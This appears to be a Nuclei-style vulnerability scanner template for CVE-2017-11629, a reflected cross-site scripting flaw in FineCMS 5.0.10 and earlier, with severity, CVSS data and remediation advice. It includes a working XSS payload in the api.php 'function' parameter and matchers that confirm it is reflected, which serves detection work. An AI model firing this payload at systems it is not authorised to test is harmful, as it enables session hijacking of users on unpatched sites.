id: CVE-2017-11629

info:
  name: FineCMS <=5.0.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of FineCMS (>=5.0.11) which includes a fix for this vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11629
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41273
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: finecms
    product: finecms
  tags: cve,cve2017,xss,finecms

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>p不存在'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202ae2326fc208e80fc3dba9d6797c08dfe1ecda07e61abf10a05b7c1b54e3a381022100d8c8ce944c48e3ceb2582aef806f4451f567a36ba9599b2588b8621bf21b596b:922c64590222798bb761d5b6d8e72950